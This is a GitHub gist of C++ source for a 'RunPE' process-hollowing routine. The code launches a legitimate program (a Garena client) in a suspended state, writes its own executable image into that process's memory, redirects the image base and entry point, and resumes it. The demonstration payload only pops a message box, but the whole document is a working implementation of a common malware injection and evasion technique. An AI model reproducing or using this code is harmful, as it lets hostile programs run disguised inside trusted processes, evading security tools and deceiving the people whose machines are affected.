Skip to content

Instantly share code, notes, and snippets.

@tenghaooo
Created March 7, 2022 13:45
Show Gist options
  • Save tenghaooo/aaed51c658e8a11186b963b64a7e3cc9 to your computer and use it in GitHub Desktop.
Save tenghaooo/aaed51c658e8a11186b963b64a7e3cc9 to your computer and use it in GitHub Desktop.
runPE
#include <stdio.h>
#include <iostream>
#include <Windows.h>
BYTE* MapFileToMemory(LPCSTR filename)
{
FILE* fp;
errno_t e = fopen_s(&fp, filename, "rb"); // open file
fseek(fp, 0, SEEK_END); // move to file end
LONG size = ftell(fp); // get file size
fseek(fp, 0, SEEK_SET); // move to file begin
BYTE* buffer = (BYTE*)malloc(sizeof(BYTE) * size);
fread(buffer, size, 1, fp); // read file to buffer
fclose(fp);
return buffer;
}
// open an PE process then replace it with the image
int RunPE(LPCSTR originPE, void* Image)
{
IMAGE_DOS_HEADER* DOSHeader;
IMAGE_NT_HEADERS* NtHeader;
IMAGE_SECTION_HEADER* SectionHeader;
PROCESS_INFORMATION PI = {};
STARTUPINFOA SI = {};
CONTEXT* CTX;
size_t* ImageBase; // base address of the image
void* pImageBase; // pointer to the image base
DOSHeader = PIMAGE_DOS_HEADER(Image); // initialize
NtHeader = PIMAGE_NT_HEADERS((size_t)Image + DOSHeader->e_lfanew); // initialize
SectionHeader = PIMAGE_SECTION_HEADER((size_t)NtHeader + sizeof(*NtHeader)); // initialize
if (NtHeader->Signature == IMAGE_NT_SIGNATURE)
{
// create an instance of originPE in suspended state
if (CreateProcessA(originPE, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI))
{
// Allocate memory for the context.
CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL; // Context is allocated
if (GetThreadContext(PI.hThread, CTX))
{
ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
// allocate an space from the new process for the Image, and the desired start address is the Image's OptionalHeader.ImageBase
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
// write the Image headers to the space
WriteProcessMemory(PI.hProcess, LPVOID(pImageBase), Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
// write the Image sections to the space
for (int i = 0; i < NtHeader->FileHeader.NumberOfSections; i++) {
WriteProcessMemory(PI.hProcess,
LPVOID(size_t(pImageBase) + SectionHeader[i].VirtualAddress),
LPVOID(size_t(Image) + SectionHeader[i].PointerToRawData),
SectionHeader[i].SizeOfRawData, 0);
}
// PEB->ImageBaseAddress is pointed by CTX->Ebx + 8
// replace the value of (CTX->Ebx + 8) to pImageBase, so the PE module at pImageBase will be executed
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&pImageBase), 4, 0);
// modify the entry point address, which is pointed by CTX->Eax
CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, LPCONTEXT(CTX));
ResumeThread(PI.hThread);
return 0;
}
}
}
return 1;
}
int CALLBACK WinMain(HINSTANCE, HINSTANCE, LPSTR, int) {
char CurrentFilePath[MAX_PATH + 1];
GetModuleFileNameA(0, CurrentFilePath, MAX_PATH);
// current module is gerena?
if (strstr(CurrentFilePath, "C:\\Program Files (x86)\\Garena\\Garena\\garena.exe")) {
MessageBoxA(0, "process hollowing!!", "RunPE", 0);
return 0;
}
LPCSTR origin = "C:\\Program Files (x86)\\Garena\\Garena\\garena.exe";
RunPE(origin, MapFileToMemory(CurrentFilePath));
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment